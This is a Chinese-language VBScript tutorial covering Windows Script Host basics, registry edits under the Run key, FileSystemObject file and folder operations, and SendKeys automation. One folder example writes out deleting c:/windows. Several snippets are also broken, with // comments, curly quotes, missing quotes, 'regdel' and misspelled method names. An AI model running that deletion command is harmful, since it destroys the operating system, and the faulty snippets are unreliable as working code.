Vbs與批處理高級教程

Vbs 與批處理高級教程

 

Vbs 腳本編程簡明教程之一

  —爲什麼要使用 Vbs

Windows 中,學習計算機操作也許很簡單,但是很多計算機工作是重複性勞動,例如你每週也許需要對一些計算機文件進行復制、粘貼、改名、刪除,也許你每天啓動計算機第一件事情就是打開 WORD ,切換到你喜愛的輸入法進行文本編輯,同時還要播放優美的音樂給工作創造一個舒心的環境,當然也有可能你經常需要對文本中的某些數據進行整理,把各式各樣的數據按照某種規則排列起來……。這些事情重複、瑣碎,使人容易疲勞。

第三方軟件也許可以強化計算機的某些功能,但是解決這些重複勞動往往事倍功半,我也嘗試過使用計算機語言編寫程序來解決這些問題,但是隨之而來的命令、語法、算法、系統框架和類庫常常讓我覺得這樣是否有必要,難道就是因爲豬毛比較難拔,所以我就要去學習機械,爲自己設計一個拔豬毛機(?)嗎?

Vbs 是一種 Windows 腳本,它的全稱是 :Microsoft Visual Basic Script Editon.( 微軟公司可視化 BASIC 腳本版 ) VBS Visual Basic 的的一個抽象子集,是系統內置的,用它編寫的腳本代碼不能編譯成二進制文件,直接由 Windows 系統執行(實際是一個叫做宿主 host 的解釋源代碼並執行),高效、易學,但是大部分高級語言能幹的事情,它基本上都具備,它可以使各種各樣的任務自動化,可以使你從重複瑣碎的工作中解脫出來,極大的提高工作效率。

我個人認爲 Vbs 腳本其實就是一種計算機編程語言,但是由於缺少計算機程序設計語言中的部分要素,對於事件的描述能力較弱,所以稱爲腳本,它最方便的地方就是提供了對 COM 對象的簡便支持。那麼什麼是 COM 對象呢?

我這樣理解, COM 對象就是一些具有特定函數功能項程序模塊,他們一般以 ocx 或者 dll 作爲擴展名,你只要找到包含有你需要的功能的模塊文件,並在腳本中規範的引用,就可以實現特定的功能,也就是說 Vbs 腳本就是調用現成的“控件”作爲對象,用對象的屬性和方法實現目的,完全免去了編寫代碼、設計算法等等麻煩。說白了,我不是覺得拔豬毛麻煩麼?我發覺 xx 機(比如真空離心器)有一個功能可以實現脫毛, ok ,我把它拿來給豬脫毛。什麼?大材小用?太浪費資源了?天哪,那是計算機芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。

最方便的是它甚至不需要專門的開發環境,在你的計算機中,只要有 notepad ,就可以編寫 Vbs 腳本了,並且可以直接執行。

 

 

 

Vbs 腳本編程簡明教程之二

如何開始第一個 Vbs 腳本?

 

就像多數計算機教程一樣 ,我們從“ Hello  World !”程序開始我們的練習。什麼?不知道是什麼意思?就是說大部分的計算機程序設計教程開篇入門都是編寫一個小程序,執行這個程序的結果就是在計算機的屏幕上或者 dos 窗口中顯示一行文字: Hello  World !好了,我們開始吧。

打開你的“記事本”程序,在編輯窗口填寫:

msgbox "Hello World!"

然後用鼠標單擊“文件”菜單,單擊“保存”,把“保存在”一欄設爲桌面,在“文件名”一欄中填寫 kk.vbs ,單擊“保存”就可以了。然後最小化“記事本”窗口,在桌面上尋找你剛剛保存的 kk.vbs ,然後雙擊。看到彈出的對話框了沒有,單擊“確定”,對話框消失了。難看了點,不過確實是你編寫的第一個腳本程序。

說明之一:上面的操作中,保存位置放在桌面,僅僅是爲了執行方便,你保存到其他的地方完全沒有問題,只要你知道你保存在什麼地方就可以了,什麼?是廢話,自己保存的當然知道保存在那裏了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,不一定非要寫 kk ,只要符合 Windows 的文件命名規則就可以了,但是擴展名必須是 vbs ,什麼 ? 不知道什麼是擴展名?就是文件名中“ . ”後的那部分,簡單說,就是 vbs 腳本文件命名時必須是: xxx.vbs ,其中 xxx 你隨意。

說明之二:在記事本編輯窗口中寫的這行是什麼意思?

Msgbox VBS 內建的函數,每一個函數都可以完成一定的功能,你只需要按照語法要求,在函數的相應部分填寫相應的內容就可以了,這部分內容我們稱爲參數,當然函數執行的結果我們稱爲返回值,一個函數可以有返回值也可以沒有,可以有參數也可以沒有。你不用瞭解函數是怎麼運作的,只要瞭解這個函數能幹什麼就行了。

Msgbox 語法: msgbox  " 對話框內容 ", , " 對話框的標題 "

你不妨用記事本打開剛纔的文件在編輯窗口中輸入:

msgbox "Hello World!" , , " 系統提示 "

執行一下,看看效果和位置。

說明之三:如果執行失敗,看看你的標點符號,所有的標點符號必須是在英文狀態下輸入的。當然,這個腳本實在是太簡單了,甚至連最簡單的交互都沒有,所以你可以把腳本這樣修改一下:

Dim name

name=Inputbox(" 請輸入你的名字 :"," 名稱 ")

Msgbox  name, , " 您的名字是 "

保存執行一下,看到彈出的對話框了麼?填入你的名字,點確定,看到結果了嗎?

說明之一:第一句是定義變量, dim 是定義變量的語句

其格式爲: dim 變量 1, 變量 2 ……,

Vbs 只有一種變量類型,所以不用聲明變量類型。系統會自動分辨變量類型。

說明之二: inputbox VBS 內建的函數,可以接受輸入的內容,其語法格式爲:

Inputbox(" 對話框內容 "," 對話框標題 ")

第二句的意思是接受用戶的輸入,並把輸入結果傳遞給變量 name

好了,到此腳本基本的輸入輸出函數都有了,已經可以完成一些比較簡單的功能了,你可以編寫一個簡單的腳本,然後拷貝的“程序”— > “啓動”中,然後重新啓動計算機看看結果

 

 

Vbs 腳本編程簡明教程之三

Vbs 的基本語法(牢記)

 

VBScript 基礎知識

一、變量

1 、所有單引號後面的內容都被解釋爲註釋。

2 、在 VBScript 中,變量的命名規則遵循標準的命名規則,需要注意的是:在 VBScript 中對變量、方法、函數和對象的引用是不區分大小寫的。在申明變量時,要顯式地申明一個變量,需要使用關鍵字 DIm 來告訴 VBScript 你要創建一個變量,並將變量名稱跟在其後。申明多個同類型變量,可以用逗號分隔。注意: VBScript 中不允許在申明變量的時候同時給變量賦值。但是允許在一行代碼內同時對兩個變量進行賦值,中間用冒號分隔。

3 、你可以使用 OptionExplicit 來告訴宿主變量必須先聲明後使用。

4 VBScript 在定義時只有一種變量類型,在實際使用中需要使用類型轉換函數來將變量轉換成相應的變量類型。

Cbool 函數將變量轉換成布爾值;

Cbyte 函數將變量轉換爲 0 255 之間的整數。

Ccur 函數、 Cdbl 函數和 Csng 函數將變量轉換爲浮點數值,前者只精確到小數點後四位,後兩者要更加精確,數值的範圍也要大的多。

Cdate 函數將變量轉換爲日期值。

Cint 函數和 Clng 函數將變量轉換爲整數,後者的範圍比前者要大的多。

Cstr 函數將變量轉換爲字符串。

二、數組

數組的定義與變量非常類似,只需要在變量後描述這個數組的個數和維數。需要注意的是:數組的下標總是從 0 開始,而以數組定義中數值減一結束。也就是說你以要定義一個有十個數據的數組,將這樣書寫代碼: dImarray 9 ),同樣,當你要訪問第五個元素時,實際的代碼是 array(4) 。當然,你可以通過不指定數組的個數和維數來申明動態數組。等到數組的個數和維數固定後,使用關鍵字 redim 來改變數組。注意,在改變數組的大小時,數組的數據會被破壞,使用關鍵字 preserve 來保護數據。例如:

RedIm 空格 preserve 空格 array 括號個數逗號維數括號

三、操作符

VBScript 運算符中,加減乘除都是我們常用的符號,乘方使用的是 ^ ,取模使用的 Mod

在比較操作符中,等於、小於、大於、小於等於、大於等於都與我們常用的符號是一致的,而不等於是小於和大於連用。

邏輯運算符爲:和操作— >AND     非操作— >NOT     或操作— >OR

你可以使用操作符 + 和操作符 & 來連接字符串,一般使用 & 操作符;

另外還有一個比較特殊的操作符 Is 用來比較對象,例如按鈕對象,如果對象是同一類型,結果就是真,如果對象不是同一類型,結果就是假。

四、條件語句主要有 if …… then 語句和 selectcase 語句兩種形式

if …… then 語句中,其基本形式爲:

If  條件   then

處理條件的語句;

……

Endif

基本形式只能對單個條件進行驗證,如果有兩個條件,則需要在基本形式中添加單行語句 else ,如果還有更多的條件需要驗證,則需要添加語句

Elseif 條件   then

處理條件語句

selectcase 語句中,其基本形式爲:

Select  case  變量

Case  條件值

處理條件語句

並對上兩句進行重複

最後一句應爲

case  else

處理語句

當然不要忘記將條件結束語句 End  select 放在最後一行

注意:在執行字符串比較時,需要特別注意大小寫,一般情況下,我們在比較前,使用 lcase 函數將字符串轉換成小寫,使用 ucase 函數將字符串轉換成大寫大寫。

五、循環控制語句

循環控制語句有 for …… next 循環、 for …… each 循環、 do …… while 循環、 do …… until 循環、 while 循環五種形式。

在使用循環控制語句前,首先要對循環條件進行判斷,如果循環次數是有固定次數的,那麼使用 For …… next 循環,其結構爲:

For   計數器變量=開始計數值   to  最後計數值

執行循環體

Next

如果是需要對數組或對象集合中的每一個元素進行判斷,則需要使用 for …… each 循環,其結構爲:

For  each  循環計數變量   in  要查看的對象或數組

執行處理語句

Next

注意:在上述兩種循環中隨時可以使用 exit  for 來退出循環

如果你希望在條件滿足時執行一段代碼則使用 do …… while 語句,結構爲:

Do  while  條件

執行循環體

Loop

如果你希望在條件不滿足時執行代碼,則使用 do …… until 語句,結構爲:

Do   until  條件

執行循環體

Loop

當然,在這兩種循環語句中,你可以使用 exit  do 來退出循環

最後一種循環語句是條件滿足時一直執行循環,

While  條件

執行循環體

Wend

六、使用過程

常用的過程有兩種,一種爲函數,給調用者返回值,一種爲子程序,無返回值,還有一種叫事件的特殊子程序,用的比較少。

函數的基本定義方法爲:

Function  函數名稱(參數列表)

函數代碼

函數名稱=某值 ‘用來返回值

end  function

子程序一些都類似,不過沒有返回值

注意:儘管在定義子程序的時候,參數列表要加括號,但在調用子程序的時候,參數列表不加括號,括號只在函數中使用。另外,子程序不能在表達式中使用。

而函數只能出現在賦值語句的右邊,或者表達式中,函數不能直接使用,如果必須直接使用函數,則必須使用 call 語句調用,並取消返回值。

 

 

Vbs 腳本編程簡明教程之四

如何利用 Vbs 運行外部程序?

 

Vbs 只提供了編程的一個基本框架,用戶可以使用 Vbs 來定義變量、過程和函數, vbs 也提供了一些內部函數和對象,但是 Vbs 沒有提供任何命令來訪問 Windows 系統內部的部件,但是值得慶幸的是, Vbs 雖然不能自己完成這些任務,但是它提供了一條極爲方便、功能也相當強的命令—— CreateObject ,這條命令可以訪問 windows 系統內安裝的所有 com 對象,並且可以調用這些部件中存放的命令。

於是問題解決了,比如說,我手頭有 1000 個小文本,我首先要對每一個文本的語法進行查錯和修改,然後按照預先定義好的規則對這些文本進行排序,最後將這些文本合併成爲一個文件。正常情況下,我們需要把打開第一個小文本,然後把它複製到 WORD 中,然後利用裏面的除錯功能進行除錯和修改,然後再導入到 EXCEL 中進行排序,將這個過程重複 1000 遍,然後再將所有得到的文本複製到一個大文本中。實在是太枯燥、工作量太大了。有了 Vbs CreateObject ,問題得到解決,我只需要找到相應的模塊,調用相應的功能就可以了,作爲腳本,把一個枯燥的過程重複 1000 次,本就是它的拿手好戲。

好了,我們走入正題,從最簡單的——只啓動一個程序開始。

WSH 也就是用來解析 Vbs 的宿主,本身包含了幾個個常用對象:

1 Scripting.FileSystemObject  >  提供一整套文件系統操作函數

2 Scripting.Dictionary  >  用來返回存放鍵值對的字典對象

3 Wscript.Shell  >  提供一套讀取系統信息的函數,如讀寫註冊表、查找指定文件的路徑、讀取 DOS 環境變量,讀取鏈接中的設置

4 Wscript.NetWork  >  提供網絡連接和遠程打印機管理的函數。(其中,所有 Scripting 對象都存放在 SCRRUN.DLL 文件中,所有的 Wscript 對象都存放在 WSHOM.ocx 文件中。)

現在我們需要的是第三個對象,好了,讓我們先連接一下對象看看,在記事本的編輯窗口中輸入:

Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad”

同樣,保存執行。那麼看到了一個什麼樣的結果呢?在桌面上又打開了一個記事本。

說明之一: Set Vbs 指令,凡是將一對象引用賦給變量,就需要使用 set 關鍵字。那麼什麼是對象引用呢?凡是字符串、數值、布爾值之外的變量都是對象引用。 Objshell 是變量名,可以隨意修改。

說明之二:反是正確引用的對象,其本身內置有函數和變量,其引用方法爲在變量後加“ . ”,後緊跟其實現功能的函數就可以了。 Objshell.run 的意思就是調用 Wscript.shell 中的運行外部程序的函數—— run notepad 是記事本程序的文件名。當然你也可以改成“ calc ”,這是計算器的文件名, winword word 的文件名,等等吧,所有可執行文件的文件名都可以。但是需要注意的是,如果你要執行的可執行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是 run 在運行解析時,遇到空格會停止,解決的方法是使用雙引號,例如:在我的機器上運行 qq ,代碼爲:

objshell.run """C:/Program Files/QQ2006/QQ.exe"""  ‘注:三個引號

好, 我們再進一步,啓動兩個程序會如何呢?

輸入如下代碼:

Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad”

objShell.Run “calc”

執行會如何呢?兩個程序基本上同時啓動了。如果我們需要先啓動 notepad 再啓動 calc 將如何呢?很簡單在需要順序執行的代碼後加 , , True 參數就可以了。

好了輸入代碼:

Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad” ,,true

objShell.Run “calc”

看看執行的結果怎麼樣吧!

總結: run 函數有三個參數,第一個參數是你要執行的程序的路徑,第二個程序是窗口的形式, 0 是在後臺運行; 1 表示正常運行; 2 表示激活程序並且顯示爲最小化; 3 表示激活程序並且顯示爲最大化;一共有 10 個這樣的參數我只列出了 4 個最常用的。 第三個參數是表示這個腳本是等待還是繼續執行,如果設爲了 true, 腳本就會等待調用的程序退出後再向後執行。

其實, run 做爲函數,前面還有一個接受返回值的變量,一般來說如果返回爲 0 ,表示成功執行,如果不爲 0 ,則這個返回值就是錯誤代碼,可以通過這個代碼找出相應的錯誤。

 

 

Vbs 腳本編程簡明教程之五

錯誤處理

 

 

引發錯誤的原因有很多,例如用戶輸入了錯誤類型的值,或者腳本找不到必需的文件、目錄或者驅動器,我們可以使用循環技術來處理錯誤,但是 VBS 本身也提供了一些基本技術來進行錯誤的檢測和處理。

1 、最常見的錯誤是運行時錯誤,也就是說錯誤在腳本正在運行的時候發生,是腳本試圖進行非法操作的結果。例如零被作爲除數。在 vbs 中,任何運行時錯誤都是致命的,此時,腳本將停止運行,並在屏幕上顯示一個錯誤消息。你可以在腳本的開頭添加

On  Error Resume  Next 

這行語句可以告訴 vbs 在運行時跳過發生錯誤的語句,緊接着執行跟在它後面的語句。

發生錯誤時,該語句將會把相關的錯誤號、錯誤描述和相關源代碼壓入錯誤堆棧。

2 、雖然 On Error Resume Next 語句可以防止 vbs 腳本在發生錯誤時停止運行,但是它並不能真正處理錯誤,要處理錯誤,你需要在腳本中增加一些語句,用來檢查錯誤條件並在錯誤發生時處理它。

vbscript 提供了一個對象 err 對象,他有兩個方法 clear raise 5 個屬性: description helpcontext helpfile number source

err 對象不用引用實例,可以直接使用,例如:

on error resume next

a=11

b=0

c=a/b

if err.number<>0 then

wscript.echo err.number & err.description  & err.source

end if 

 

 

 

Vbs 腳本編程簡明教程之六

修改註冊表

 

Vbs 中修改註冊表的語句主要有:

1 、讀註冊表的關鍵詞和值:

可以通過把關鍵詞的完整路徑傳遞給 wshshell 對象的 regread 方法。例如:

set ws=wscript.createobject("wscript.shell")

v=ws.regread("HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz")

wscript.echo v

2 、寫註冊表

使用 wshshell 對象的 regwrite 方法。例子:

path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/"

set ws=wscript.createobject("wscript.shell")

t=ws.regwrite(path & "jj","hello")

這樣就把

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/jj 這個鍵值改成了 hello. 不過要注意:這個鍵值一定要預先存在。

如果要創建一個新的關鍵詞,同樣也是用這個方法。

path="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/run/sssa2000/love/"

set ws=wscript.createobject("wscript.shell")

val=ws.regwrite(path,"nenboy")

val=ws.regread(path)

wscript.echo val

 

刪除關鍵字和值

使用 regdelete 方法,把完整的路徑傳遞給 regdelete 就可以了

例如

val=ws.regdel(path)

注意,如果要刪除關鍵詞的值的話 一定要在路徑最後加上“ / ”,如果不加斜線,就會刪除整個關鍵詞。

 

 

Vbs 腳本編程簡明教程之七

FSO 的常見對象和方法

 

文件系統是所有操作系統最重要的部分之一,腳本經常會需要對文件及文件夾進行訪問和管理,在 Vbs 中對桌面和文件系統進行訪問的頂級對象是 FileSystemObject(FSO) ,這個對象特別複雜,是 vbs 進行文件操作的核心。此節內容應瞭如指掌。

FSO 包含的常見對象有:

Drive 對象:包含儲存設備的信息,包括硬盤、光驅、 ram 盤、網絡驅動器

Drives 集合:提供一個物理和邏輯驅動器的列表

File  對象:檢查和處理文件

Files 集合:提供一個文件夾中的文件列表

Folder 對象:檢查和處理文件夾

Folders 集合:提供文件夾中子文件夾的列表

Textstream 對象:讀寫文本文件

FSO 的常見方法有:

BulidPath :把文件路徑信息添加到現有的文件路徑上

CopyFile :複製文件

CopyFolder :複製文件夾

CreateFolder :創建文件夾

CreateTextFile :創建文本並返回一個 TextStream 對象

DeleteFile :刪除文件

DeleteFolder :刪除文件夾及其中所有內容

DriveExits :確定驅動器是否存在

FileExits :確定一個文件是否存在

FolderExists :確定某文件夾是否存在

GetAbsolutePathName :返回一個文件夾或文件的絕對路徑

GetBaseName :返回一個文件或文件夾的基本路徑

GetDrive :返回一個 dreve 對象

GetDriveName :返回一個驅動器的名字

GetExtensionName :返回擴展名

GetFile :返回一個 file 對象

GetFileName :返回文件夾中文件名稱

GetFolder :返回一個文件夾對象

GetParentFolderName :返回一個文件夾的父文件夾

GetSpecialFolder: 返回指向一個特殊文件夾的對象指針

GetTempName: 返回一個可以被 createtextfile 使用的隨機產生的文件或文件夾的名稱

MoveFile :移動文件

MoveFolder :移動文件夾

OpenTextFile :打開一個存在的文件並返回一個 TextStream 對象

 

 

Vbs 腳本編程簡明教程之八

FSO 中文件夾的基本操作

 

1 、使用 fso

由於 fso 不是 wsh 的一部分,所以我們需要建立他的模型

例如 set fs=wscript.createobject( scripting.filesystemobject )

這樣就建立了 fso 的模型。如果要釋放的話也很簡單, set fs=nothing

2 、使用文件夾

在創建前,我們一般需要檢查該文件夾是否存在例如:

dim fs,s // 定義 fs s 兩個變量

set fs=wscript.createobject( scripting.filesystemobject ) //fs FSO 實例

if (fs.folderexists( c:/temp )) then // 判斷 c:/temp 文件夾是否存在

s=”is available”

else

s=”not exist”

set foldr=fs.createfolder( c:/temp ) // 不存在則建立

end if 

刪除:   set fs=wscript.createobject( scripting.filesystemobject )

fs.deletefolder(“c:/windows”)

 

拷貝: set fs=wscript.createobject( scripting.filesystemobject )

fs.copyfolder “c:/data” “d:/data”

注意:如果 c:/data d:/data 都存在,腳本會出錯,複製也就會停止,如果要強制覆蓋,使用 fs.copyfolder c:/data d:/data ”, true

 

移動:   set fs=wscript.createobject( scripting.filesystemobject )

fs.movefolder “c:/data” “d:/data”

 

我們可以使用統配符,來方便操作:

例如, fs.movefolder :c:/data/te* , d:/working

注意:在目的路徑最後沒有使用“ / 也就是說我沒有這樣寫:

fs.movefolder c:/data/te*” , “d:/working/”

這樣寫的話,如果 d:/working 目錄不存在, windows 就不會爲我們自動創建這個目錄。

 

注意:上面我們所舉的例子都是在利用 fso 提供的方法,如果使用 folder 對象也完全是可以的:

set fs= wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfolder(“c:/data”)

f.delete  // 刪除文件夾 c:/data 。如果有子目錄,也會被刪除

f.copy d:/working ,true    // 拷貝到 d:/working

f.move d:/temp     // 移動到 d:/temp

 

3 、特殊文件夾

一般指的就是系統文件夾: /windows/system32 臨時文件夾, windows 文件夾,在前幾篇的時候,我們提過一下:例如

set fs=wscript.createobject(“scripting.filesystemobject”)

set wshshell=wscript.createobject(“wscript.shell”)

osdir=wshshell.expandenvironmentstrings(“%systemroot%”)

set f =fs.getfolder(osdir)

wscript.echo f

當然,還有簡單的方法 那就是使用 getspecialfolder()

這個方法使用 3 種值:

0  表示 windows 文件夾,相關常量是 windowsfolder

1  系統文件夾,相關常量是 systemfolder

2  臨時目錄,相關常量 temporaryfolder

例如:

set fs=wscript.createobject(“scripting.filesystemobject”)

set wfolder=fs.getspecialfolder(0) ‘返回 windows 目錄

set wfolder=fs.getspecialfolder(1) ‘返回 system32/

set wfolder=fs.getspecialfolder(2)' 返回臨時目錄

 

 

Vbs 腳本編程簡明教程之九—— 1

妙用 SendKeys 簡化重複操作 1

 

每次開機的時候,你想自動登陸你的 QQ 或者博客嗎?巧妙使用 VBS 中的 SendKeys 命令(這個命令的作用就是模擬鍵盤操作,將一個或多個按鍵指令發送到指定 Windows 窗口來控制應用程序運行),可以極大的方便我們的常用操作。其使用格式爲:

Object.SendKeys string 其中:

Object :爲 WshShell 對象,即腳本的第一行爲:

Set WshShell=WScript.CreateObject("WScript.Shell") 

Object 替換爲 WshShell

string ”:表示要發送的按鍵指令字符串,需要放在英文雙引號中。它包含如下內容:

1 .基本鍵:一般來說,要發送的按鍵指令都可以直接用該按鍵字符本身來表示,例如要發送字母“ x ”,使用“ WshShell.SendKeys "x" ”即可。當然,也可直接發送多個按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發送按鍵“ cfan ”,可以使用

WshShell.SendKeys "cfan" ”。

2 .特殊功能鍵:對於需要與 Shift Ctrl Alt 三個控制鍵組合的按鍵, SendKeys 使用特殊字符來表示: Shift   ——    + Ctrl   ——    ^ Alt   ——    %

如要發送的組合按鍵是同時按下 Ctrl E ,需要用“ WshShell.SendKeys "^e" ”表示,如果要發送的組合按鍵是按住 Ctrl 鍵的同時按下 E C 兩個鍵,這時應使用小括號把字母鍵括起來,書寫格式爲“ WshShell.SendKeys "^(ec)" ”,這裏要注意它與“ WshShell.SendKeys "^ec" ”的區別,後者表示組合按鍵是同時按住 Ctrl E 鍵,然後鬆開 Ctrl 鍵,單獨按下“ C ”字母鍵。

由於“ + ”、“ ^ ”這些字符用來表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號括住這些字符即可。例如,要發送加號“ + ”,可使用“ WshShell.SendKeys "{+}" ”。另外對於一些不會生成字符的控制功能按鍵,也同樣需要使用大括號括起來按鍵的名稱,例如要發送回車鍵,需要用“ WshShell.SendKeys "{ENTER}" ”表示,發送向下的方向鍵用

WshShell.SendKeys "{DOWN}" ”表示。

如果需要發送多個重複的單字母按鍵,不必重複輸入該字母, SendKeys 允許使用簡化格式進行描述,使用格式爲“ { 按鍵 數字 } ”。例如要發送 10 個字母“ x ”,則輸入“ WshShell.SendKeys "{x 10}" ”即可。

例一: WshShell.SendKeys "^{ESC}u"

代碼的含義爲:按下 Ctrl Esc 組合鍵(相當於按 Win 鍵)打開“開始”菜單,接着按 U 鍵打開“關機”菜單。

例二:讓 VBS 腳本自動在記事本中輸入一行文字“ hello, welcome to cfan ”。

Dim WshShell

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 2000  

// 本行的含義爲是腳本暫停 2 秒,給 notepad 一個打開的時間,有時時間太短可能導致後面的字符無法進入編輯區

WshShell.AppActivate " 無標題 - 記事本

"//AppActivate 爲尋找可執行程序的標題框,”無標題-記事本”內容你的自己打開看一下

WshShell.SendKeys "hello, welcome to cfan"

作業 1: 讓腳本自動輸入下面兩段小短句

This is the most wonderful day of my life

because I'm here with you now

作業 2 :讓腳本在輸入短句後自動關閉記事本,並保存文件名爲“ test ”,注意關閉記事本可以直接使用組合按鍵 Alt F4 來實現。

 

 

Vbs 腳本編程簡明教程之九—— 2

妙用 SendKeys 簡化重複操作 2

 

例三:製作能自動定時存盤的記事本

我們最常用的記事本沒有 Word WPS 那樣的自動定時存盤功能,其實利用 VBS 腳本再加上 SendKeys 命令,就能彌補這個遺憾。打開記事本,輸入以下內容(爲容易描述和分析,把代碼分爲四個部分):

' 第一部分:定義變量和對象

Dim WshShell, AutoSaveTime, TXTFileName

AutoSaveTime=300000

Set WshShell=WScript.CreateObject("WScript.Shell")

TXTFileName=InputBox(" 請輸入你要創建的文件名 ( 不能用中文和純數字 ) ")

' 第二部分:打開並激活記事本

WshShell.Run "notepad"

WScript.Sleep 200

WshShell.AppActivate " 無標題 - 記事本 "

' 第三部分:用輸入的文件名存盤

WshShell.SendKeys "^s"

WScript.Sleep 300

WshShell.SendKeys TXTFileName

WScript.Sleep 300

WshShell.SendKeys "%s"

WScript.Sleep AutoSaveTime

' 第四部分:自動定時存盤

While WshShell.AppActivate (TXTFileName)=True

WshShell.SendKeys "^s"

WScript.Sleep AutoSaveTime

Wend

WScript.Quit

將其保存爲記事本 .vbs ,以後要使用記事本時,都通過雙擊這個腳本文件來打開。

程序說明:這個腳本的基本思路是定時向記事本發送 Ctrl S 這個存盤組合鍵。

第一部分:定義了腳本中需要用到的變量和對象。“ AutoSaveTime ”變量用來設置自動存盤間隔,單位爲毫秒,這裏設置爲 5 分鐘。“ TXTFileName ”變量通過輸入框取得你要創建的文本文件名稱。

第二部分:運行記事本,對於 Windows 本身提供的程序,比如計算器等,可直接在“ WshShell.Run ”後輸入程序名稱,如 "calc" ,對於非系統程序,則可輸入完全路徑,但要注意使用 8.3 格式輸入,比如“ "D:/Progra~1/Tencent/QQ.exe" ”。

第三部分:這裏用 SendKeys 命令執行了這樣的操作流程(請注意每個操作之間延時命令的使用):在記事本中按 Ctrl S 組合鍵→彈出保存文件的窗口→輸入文件名→按 Alt S 組合鍵進行保存(默認保存在“我的文檔”目錄)。

第四部分:定時存盤的關鍵,通過“ While …… Wend ”這個當條件爲“真”時循環命令,實現自動存盤代碼“ WshShell.SendKeys "^s" ”和定時代碼“ WScript.Sleep AutoSaveTime ”的重複執行。因爲不能讓這個定時存盤循環一直執行,退出記事本後,必須自動退出腳本並結束循環,所以設計了一個循環判斷條件“ WshShell.AppActivate TXTFileName=True ”,當記事本運行中時,可以激活記事本窗口,這個條件運行結果爲“ True ”,定時存盤循環一直執行,退出記事本後,腳本無法激活記事本窗口,就會跳出循環,執行“ Wend ”後面的“ WScript.Quit ”退出腳本。

例四:快速登陸 QQ 軟件。假設 QQ 號碼是: 10001 ,密碼是: 123456 ,隱身登陸:

set ws=wscript.createobject("wscript.shell")

    ws.run "C:/Progra~1/Tencent/QQ/QQ.exe",0

    wscript.Sleep 2000

    ws.AppActivate "QQ 用戶登錄 "

    ws.SendKeys "7015247"

    wscript.Sleep 200

    ws.SendKeys "{TAB}"

    ws.SendKeys "*********"

    wscript.Sleep 200

ws.SendKeys "{ENTER}"

例五:關機菜單立刻顯身

打開記事本,輸入以下命令,並將其保存爲 1.vbs

set WshShell = CreateObject("WScript.Shell")

WshShell.SendKeys "^{ESC}u"

雙擊運行它,你會發現關機菜單立刻出現了。

將“ WshShell.SendKeys "^{ESC}u" ”改爲“ WshShell.SendKeys "^+{ESC}" ”,運行一下看看是否打開了任務管理器

 

 

 

Vbs 腳本編程簡明教程之九—— 3

妙用 SendKeys 自動上網並登陸博客 3

將下面的腳本複製到一個文本文件中,並將其文件名命名爲:自動登陸 .vbs ,然後將撥號軟件及本腳本一起復制到程序——啓動項中,就可以實現自動撥號上網,並登陸到博客上。

代碼如下:

Set wshshell=CreateObject("wscript.shell")

wshshell.AppActivate " 連接 MAE-301U 撥號連接 "

wscript.Sleep 20000

wshshell.SendKeys "{enter}"

wshshell.Run "iexplore"

WScript.Sleep 2000

wshshell.AppActivate "hao123 網址之家 --- 實用網址 , 搜索大全 , 盡在 http://www.hao123.com/ - Microsoft Internet Explorer" ' 引號中的內容修改爲你的瀏覽器打開後標題欄中的內容

wshshell.SendKeys "%d"

wshshell.SendKeys "http://passport.baidu.com/?login"

wshshell.SendKeys "{enter}"

WScript.Sleep 2000

wshshell.SendKeys " 此處修改爲博客帳號 "

wshshell.SendKeys "{tab}"

wshshell.SendKeys " 此處修改爲博客密碼 "

wshshell.SendKeys "{enter}"

'wshshell.SendKeys "%d"

 

Vbs 腳本常用的編輯器當然是 notapad ,不過這個編輯器的功能當然實在是太弱了一點,其實有很多的專用的腳本編輯器可以大大方便 vbs 腳本的編寫。我常用的有兩種 :

1 VBSEDit 漢化版

 

2 primalscript 漢化版,可以對 30 多種腳本進行編輯

Vbs 腳本編程簡明教程之十一

FSO 中文件的基本操作

 

一、文件屬性:

windows 中,文件的屬性一般用數字來表示:

0 代表 normal ,即普通文件未設置任何屬性。    1 代表只讀文件。

2 代表隱藏文件。    4 代表系統文件。    16 代表文件夾或目錄。

32 代表存檔文件。 1024 代表鏈接或快捷方式。例如:

set fs=wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfile(“d:/index.txt”)

msgbox f.Attributes  attributes 函數的作用是顯示文件屬性

需要說明的是: msgbox 顯示的結果往往不是上面說明的數字,而是有關屬性代表數字的和

二、創建文件: object.createtextfile 方法,注意創建前一般需要檢查文件是否存在。

例如: set fso=wscript.createobject( scripting.filesystemobject )

if fso.fileexists(“c:/kk.txt”) then

msgbox “文件已存在”

else

set f=fso.createtextfile(“c:/kk.txt”)

end if

如需要強制覆蓋已存在的文件,則在文件名後加 true 參數。

三、複製、移動、刪除文件:使用 copyfile 方法、 movefile 方法、 deletefile 方法。例如:

set fso=wscript.createobject(“scripting.filesystemobject”)

fso.copyfile c:/kk.txt , d:/1/kk.txt ,true   // 如上文說述, true 代表強制覆蓋

fso.movefile c:/kk.txt , d:/   // 移動文件

fso.deletefile c:/kk.txt   // 刪除文件

四、文件的讀寫:

1 、打開文件:使用 opentextfile 方法

如: set ts=fso.opentextfile( c:/kk.txt ,1,true)

說明:第二個參數爲訪問模式 1 爲只讀、 2 寫入、 8 爲追加

第三個參數指定如文件不存在則創建。

2 、讀取文件: read(x) x 個字符; readline 讀一行; readall 全部讀取

如: set ffile=fso.opentextfile( c:/kk.txt ,1,true)

value=ffile.read(20)

line=ffile.readline

contents=ffile.readall

3 、常見的指針變量:

atendofstream 屬性:當處於文件結尾的時候這個屬性返回 true 。一般用循環檢測是否到達文件末尾。例如:

do while ffile.atendofstream<>true

ffile.read(10)

loop

atendofline 屬性:如果已經到了行末尾,這個屬性返回 true

